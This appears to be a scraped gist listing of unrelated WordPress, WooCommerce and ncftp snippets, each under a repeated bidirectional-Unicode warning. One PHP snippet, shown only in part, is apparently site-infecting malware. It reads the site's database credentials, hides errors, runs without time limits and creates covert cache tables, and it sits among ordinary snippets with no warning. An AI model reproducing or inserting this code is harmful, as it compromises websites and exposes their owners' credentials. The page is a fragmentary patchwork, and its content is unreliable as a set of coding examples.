This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
(function () { | |
const {__, _x, _n, _nx} = wp.i18n; | |
wp.blocks.registerBlockVariation( | |
'core/paragraph', | |
{ | |
name: 'paragraph-variation', | |
title: __('Variación de párrafo', '_s'), | |
icon: 'star-filled', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init', '_s_block_style'); | |
function _s_block_style() { | |
register_block_style('core/columns', | |
[ | |
'name' => 'columna-divertida', | |
'label' => __('Divertida', '_s') | |
] | |
); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $admworkurl="";ini_set('display_errors',"Off");ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,":");$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref="wpr_";}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref ."pcachewpr";$linkstablaname=$wpdbpref ."lcachewpr";$dbprt="3306";if(stripos("qqq" .$wpdbhost,":")){$wpdbhost=explode(":",$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip="";}$mordaurl=readValueFromBD($wpdbpref ."options","option_value","option_name='siteurl'",$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=="no"|| stripos("qqq" .$mordaurl,"localhost")){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl="http://" .$mordaurl;}else{$mordaurl="https:// |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10 ); | |
add_action( 'woocommerce_before_shop_loop_item_title', 'template4876859_template_loop_product_thumbnail', 10 ); | |
function template4876859_template_loop_product_thumbnail() { | |
$imageId = template4876859_get_variation_imageid('filter_color', 'attribute_pa_color'); | |
if(!empty($imageId)) { | |
$size = $image_size = apply_filters('single_product_archive_thumbnail_size', 'woocommerce_thumbnail'); | |
echo wp_get_attachment_image($imageId, $size); | |
} else { | |
echo woocommerce_get_product_thumbnail(); // WPCS: XSS ok. | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ncftpget -R -T -v -u [username] [hostname] [local path] [remote path] | |
#Ex: ncftpget -R -T -v -u ftpuser ftp.server.work ~/localpath /remotepath | |
ncftpput -u [username] -p [password] -R [hostname] [remote path] [local path] | |
#Ex: ncftpput -u ftpuser -p password -R ftp.server.work /remotepath/ ~/localpath/* |